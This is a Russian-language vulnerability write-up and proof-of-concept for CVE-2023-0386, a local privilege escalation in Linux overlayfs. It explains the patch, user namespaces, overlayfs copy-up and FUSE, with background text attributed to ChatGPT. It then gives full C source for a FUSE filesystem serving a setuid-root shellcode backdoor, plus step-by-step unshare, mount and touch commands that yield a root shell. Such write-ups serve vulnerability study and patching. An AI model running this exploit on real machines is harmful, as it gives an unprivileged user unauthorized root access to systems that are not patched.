
Эксплойт локального повышения привилегий для CVE-2023-0386, нацеленный на overlayfs ядра Linux. Включает подробный анализ уязвимости, код PoC и пошаговое руководство по эксплуатации с использованием FUSE и пользовательских пространств имен.
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

Теоретические знания (пространства имён, overlay-файловая система, FUSE-файловая система и т.д.) в этой статье взяты из ChatGPT.
Идентификатор уязвимости: CVE-2023-0386
Уязвимый продукт: ядро Linux – overlay-файловая система
Затрагиваемые версии: 5.11 – 5.19
Условия эксплуатации: возможность выполнить unshare или создать overlay-файловую систему
Эффект от эксплуатации: локальное повышение привилегий
Сборка собственного ядра:
Подготовьте версию из диапазона уязвимых, исключая версию 5.15 (похоже, в ней есть подводные камни), включите две файловые системы overlay и fuse:
CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS
Проверено на Ubuntu 21.10 с версией ядра 5.13.0-16-generic – работает:

Перед анализом уязвимости давайте попросим ChatGPT сыграть роль эксперта по ядру Linux:
(Запрос ChatGPT: теперь ты будешь играть роль эксперта по ядру Linux, помоги мне ответить на некоторые вопросы)
Публичная информация об уязвимости скудна, наиболее очевидным является информация о патче, ссылка на патч:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a

Видно, что в функцию ovl_copy_up_one добавлена проверка. Сначала спросим ChatGPT, что делает эта функция:

Таким образом, эта функция выполняется в процессе копирования файла из нижнего слоя overlay-файловой системы в верхний. Теперь, в контексте, рассмотрим новую проверку, добавленную патчем:
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
int flags)
{
int err;
DEFINE_DELAYED_CALL(done);
struct path parentpath;
struct ovl_copy_up_ctx ctx = {
.parent = parent,
.dentry = dentry,
.workdir = ovl_workdir(dentry),
};
if (WARN_ON(!ctx.workdir))
return -EROFS;
ovl_path_lower(dentry, &ctx.lowerpath);
err = vfs_getattr(&ctx.lowerpath, &ctx.stat,//[1] Получить stat нижней файловой системы
STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
if (err)
return err;
//[2] Новая проверка патча: есть ли отображение UID и GID файла в текущем пространстве имён
if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
!kgid_has_mapping(current_user_ns(), ctx.stat.gid))
return -EOVERFLOW;
[1] Сначала с помощью vfs_getattr получает атрибуты целевого файла из нижней файловой системы. Функция vfs_getattr принимает struct path файла и возвращает соответствующую struct stat.
[1.1] ctx.lowerpath – путь к файлу в нижней файловой системе overlay. Overlay-файловая система будет описана ниже.
[1.2] struct stat хранит метаданные файла, включая владельца и группу. Полученная информация о владельце затем проверяется в новой проверке патча.
[2] Затем вызывается kuid_has_mapping для проверки владельца и группы только что полученного файла. Проверяется, отображены ли владелец и группа целевого файла в текущем пространстве имён пользователя.
[2.1] kuid_has_mapping принимает два параметра: struct user_namespace и struct kuid. Функция проверяет, отображён ли заданный пользователь в заданном пространстве имён. Подробнее об отображении пользователей в пространствах имён будет рассказано ниже.
Итак, мы знаем, что теперь при выполнении операции функции с уязвимостью (ovl_copy_up_one), если владелец или группа целевого нижнего файла не отображены в текущем пространстве имён, операция завершается неудачей.
Таким образом, принцип патча ясен, но для воспроизведения уязвимости нам всё ещё нужно решить следующие вопросы:
ovl_copy_up_one, т.е. копирование файла из нижнего слоя overlay-файловой системы в верхний?lowerpath, для которого проверяется отображение владельца?Прежде чем ответить на эти вопросы, необходимо разобраться с некоторыми базовыми понятиями:
(Запрос ChatGPT: расскажите o пространствах имён в ядре Linux)
В Linux пространства имён (namespaces) — это функция ядра, используемая для изоляции ресурсов. Пространства имён позволяют группе процессов выглядеть так, как будто они работают в независимой среде, повышая безопасность и управляемость системы. Пространства имён играют ключевую роль в технологиях контейнеризации (например, Docker), позволяя контейнерам работать в изолированной среде, не влияя на другие контейнеры или основную систему.
Ядро Linux поддерживает 7 типов пространств имён (mount, pid, net, ipc, user, time, cgroup), каждое из которых изолирует определённый класс системных ресурсов. Пространства имён создаются, изменяются и управляются с помощью системных вызовов (clone, unshare, setns). Среды выполнения контейнеров (например, Docker) и другие инструменты виртуализации используют эти пространства имён для обеспечения независимой, изолированной среды выполнения для контейнеров.
Функция проверки kuid_has_mapping, добавленная патчем уязвимости, относится к пространству имён пользователя (user namespace) из вышеупомянутых семи.
(Запрос ChatGPT: расскажите о пространстве имён пользователя)
Пространство имён пользователя (User Namespace) изолирует идентификаторы пользователей (UID) и групп (GID). С его помощью можно использовать независимые наборы UID и GID в разных пространствах имён. Это означает, что пользователь или группа в одном пространстве имён могут иметь другие ID или права в другом пространстве имён. Пространство имён пользователя повышает безопасность и управляемость системы, особенно в контейнерных средах.
Ключевая особенность пространства имён пользователя — отображение ID: оно позволяет отображать UID и GID из одного пространства имён в другое. То есть одни и те же UID и GID могут представлять разных пользователей и группы в разных пространствах имён. Например, пользователь root (UID 0) в контейнере может быть отображён на непривилегированного пользователя в основной системе.
Запомним следующее:
/proc/[pid]/uid_map; /proc/[pid]/gid_map), для этой операции обычно требуются права root в начальном пространстве имён.Например, я создаю новое пространство имён пользователя от пользователя breeze, затем в этом новом пространстве просматриваю файл, владельцем которого является root, и вижу, что владелец отображается как nobody:

Это происходит потому, что в новом пространстве имён root — это пользователь breeze, создавший пространство, а root из начального пространства не был мной вручную отображён в новое пространство, поэтому он распознаётся как nobody.
Итак, теперь мы знаем смысл патча: для копируемого файла из нижнего слоя overlay-файловой системы необходимо, чтобы его владелец (группа) имел отображение в текущем пространстве имён, иначе копирование не продолжится и будет возвращена ошибка. То есть ситуация, когда файл распознаётся как nobody, приводит к неудаче копирования.
(Запрос ChatGPT: расскажите об overlay-файловой системе в Linux)
Overlay-файловая система (также известная как OverlayFS) — это виртуальная файловая система ядра Linux. Она позволяет объединить два или более существующих каталога (называемых «нижним» (lower) и «верхним» (upper) слоями) в единое унифицированное представление. Overlay-файловая система полезна для реализации возможности записи в неизменяемых файловых системах (например, образы), перенаправляя операции записи в перезаписываемый верхний слой. Этот метод широко используется в технологиях контейнеризации (например, Docker), так как обеспечивает лёгкое и высокопроизводительное решение для виртуализации файловой системы.
Приведённый ниже рисунок иллюстрирует, как фактические файлы нижнего и верхнего слоёв overlay-файловой системы отображаются в объединённом слое:

Поскольку верхняя файловая система перезаписываема, изменения файлов, поступающих из верхнего слоя, производятся напрямую. Но если пользователь хочет изменить файл из нижнего слоя, например, file D, то, так как нижняя файловая система доступна только для чтения, этот файл будет скопирован (copy up) в верхний слой как file D', а затем изменён. Фактически изменяется копия file D' в верхнем слое, а исходный файл file D в нижнем слое не меняется. Это и есть механизм COW (copy on write) в overlay-файловой системе:

(Запрос ChatGPT: дайте практический пример создания простой overlay-файловой системы)
Продемонстрируем создание overlay-файловой системы следующим образом:
Сначала создадим каталоги lower1, lower2, upper и work. Они будут использоваться для overlay-файловой системы. Также создадим точку монтирования (например, merged) для доступа к объединённому представлению. Добавим содержимое в каталоги lower1 и lower2:
mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt
Смонтируем overlay-файловую систему с помощью команды mount и опции -t overlay. Необходимо указать параметры lowerdir, upperdir и workdir:
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged
В каталоге merged мы увидим файлы из нижнего и верхнего слоёв:

При создании, удалении или изменении файлов в этом каталоге изменения будут влиять только на верхнюю файловую систему, не затрагивая нижнюю. Например, создание нового файла (фактически создаётся в upper):

Изменение существующего файла (копирование файла из lower1 в upper, затем изменение):

Резюме: логика, связанная с уязвимостью, заключается в том, что при изменении файла из нижнего слоя overlay-файловой системы сначала происходит копирование этого файла в верхний слой, а затем выполняется изменение.
После проведённого анализа мы можем в основном восстановить полную картину уязвимости. Если в overlay-файловой системе происходит операция copy up (попытка изменить файл из нижнего слоя, что вызывает копирование из нижнего слоя в верхний):
Тогда возникает вопрос: почему копирование файла с неотображённым владельцем создаёт проблему?
Ответ на этот вопрос довольно прост. Копирование файла включает не только содержимое файла, но и его метаданные, такие как информация о владельце, временные метки, права доступа, а также расширенная информация, например, capabilities. Риск заключается в том, что если нижняя файловая система является пользовательской (например, FUSE), где пользователь может полностью контролировать и определять любые файлы, но при этом на эту файловую систему наложены ограничения (например, nosuid), то данная уязвимость позволяет скопировать suid-файл, созданный пользователем в нижнем слое, из файловой системы с ограничением nosuid в нормальную файловую систему, что приводит к появлению нелегального suid-файла с привилегиями suid. В результате происходит повышение привилегий.
(Запрос ChatGPT: расскажите о файловой системе FUSE)
FUSE (Filesystem in Userspace) — это интерфейс файловой системы, который позволяет пользователям реализовывать и запускать собственные файловые системы в пользовательском пространстве (а не в пространстве ядра). Цель FUSE — упростить разработку и развёртывание файловых систем, обеспечивая при этом хорошую производительность и безопасность. FUSE широко используется в Linux и других Unix-подобных системах (например, macOS, FreeBSD).
Проще говоря, файловая система FUSE позволяет нам самостоятельно определять на уровне пользователя некоторые функции обратного вызова файловой системы (например, open, write, readdir и даже getattr, возвращающий метаданные файлов).
Приведённый ниже код файловой системы FUSE (от ChatGPT) может служить как примером для изучения, так и использоваться для дальнейшей эксплуатации уязвимости:
(Запрос ChatGPT: приведите простой пример кода файловой системы FUSE, в которой есть файл hello с содержимым "helloworld", и этот файл является suid-файлом, владельцем которого является root)
После небольшой модификации (изменено содержимое файла на бинарные данные бэкдора, настроены права, размер и т.д.):
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello"; // В файловой системе FUSE есть файл с именем hello, здесь указан путь к файлу
const char hello_str[] = { // Бинарное содержимое suid-бэкдора в файловой системе FUSE
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf) // Функция обратного вызова getattr для получения атрибутов файла или каталога
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) { // Права корневого каталога файловой системы FUSE: 0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) { // Права файла hello: 777 с флагом SUID
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); // Реальный размер файла hello
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi) // Функция для получения содержимого каталога
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) { // Пока поддерживается только просмотр корневого каталога FUSE
return -ENOENT;
}
filler(buf, ".", NULL, 0); // По умолчанию показываются . и ..
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0); // В корневом каталоге FUSE есть файл hello
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi) // Функция обратного вызова open для открытия файла
{
if (strcmp(path, hello_path) != 0) { // Поддерживается только открытие файла hello
return -ENOENT;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi) // Функция обратного вызова read для чтения файла
{
size_t len;
(void) fi;
if (strcmp(path, hello_path) != 0) { // Поддерживается только чтение файла hello
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size); // Возвращается содержимое файла hello, т.е. бинарный массив выше
} else {
size = 0;
}
return size;
}
static struct fuse_operations hellofs_oper = { // Достаточно реализовать только указанные четыре функции обратного вызова
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL); // Регистрация функций обратного вызова
}
Приведённый выше код создаёт файловую систему FUSE, в которой есть только один файл hello. Его содержимое — бинарный бэкдор, и он является suid-файлом, владельцем которого является root. Реализованы только четыре функции обратного вызова, достаточные для базового просмотра, открытия и чтения файла hello. Скомпилировать и смонтировать файловую систему FUSE можно следующими командами:
gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs
После этого в каталоге fusefs мы увидим файл hello — suid-файл, владельцем которого является root:

Однако обычный пользователь не может смонтировать файловую систему FUSE с включённым suid, то есть все файловые системы FUSE, смонтированные обычным пользователем, имеют флаг nosuid. Поэтому, даже если выполнить этот suid-бэкдор, мы не получим права root:

Теперь используем уязвимость CVE-2023-0386 вместе с описанной файловой системой FUSE для повышения привилегий.
Сначала в соответствии со сценарием уязвимости создадим overlay-файловую систему, используя файловую систему FUSE в качестве нижнего слоя, а в качестве верхнего слоя возьмём каталог, доступный нам для записи. Создадим необходимые для overlay каталоги (workdir и т.д.) и смонтируем файловую систему FUSE.
mkdir hello_mount_point overlay_mount_point upperdir workdir # Создание соответствующих каталогов
./hellofs hello_mount_point # Монтирование файловой системы FUSE

Затем создадим новое пространство имён пользователя, а также пространства имён mount и pid, потому что далее нам потребуется создать overlay-файловую систему. По умолчанию у нас нет прав на монтирование, поэтому нужно получить права на монтирование в новом пространстве имён.
unshare -Urm

Создадим overlay-файловую систему, используя файловую систему FUSE с suid-бэкдором hello в качестве нижнего слоя, а в качестве верхнего слоя — наш доступный для записи каталог upper:
mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point

Текущий вид overlay показан на рисунке:

Наша цель — использовать уязвимость, чтобы скопировать suid-бэкдор из файловой системы FUSE, смонтированной с флагом nosuid, в файловую систему upper, которая является стандартной файловой системой операционной системы и поддерживает suid. При этом бэкдор будет скопирован вместе со своим suid-атрибутом. Поэтому нам нужно вызвать операцию copy up в overlay-файловой системе. Эта операция обычно происходит при попытке изменить файл из нижнего слоя, поэтому мы установили права на файл hello в файловой системе FUSE как 777.
Изменение файла подразумевает не только изменение его содержимого. Изменение других атрибутов файла, например, временных меток, также вызывает операцию copy up. Команда touch при попытке «создать» уже существующий файл не перезаписывает его, а только изменяет временные метки доступа и модификации. Изменение временных меток также считается изменением расширенных атрибутов (attr), и это изменение, в свою очередь, вызывает копирование вверх в overlay-файловой системе.
Стек вызовов выглядит следующим образом: из-за изменения временных меток доступа и модификации в ovl_setattr инициируется копирование вверх (copy up):

Возвращаясь к нашим шагам: нам нужно войти в каталог объединённого слоя overlay и с помощью команды touch изменить временные метки файла бэкдора hello:
touch overlay_mount_point/hello

Теперь операция copy up выполнена:

Проверим содержимое верхнего каталога, т.е. upper:
ls -al upperdir

Затем выходим из пространства имён и выполняем upperdir/hello — получаем root shell:

Смотри файл exp.c.
Компиляция и выполнение:
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp
Таким образом, смысл патча в том, что если при попытке повышения привилегий таким способом пользователь root из начального пространства имён не отображён в новом пространстве имён пользователя (а мы и не можем его отобразить, так как для этого требуются привилегии), то операция завершится неудачей. Если же этот пользователь уже отображён в новом пространстве имён пользователя, то сценарий считается легитимным.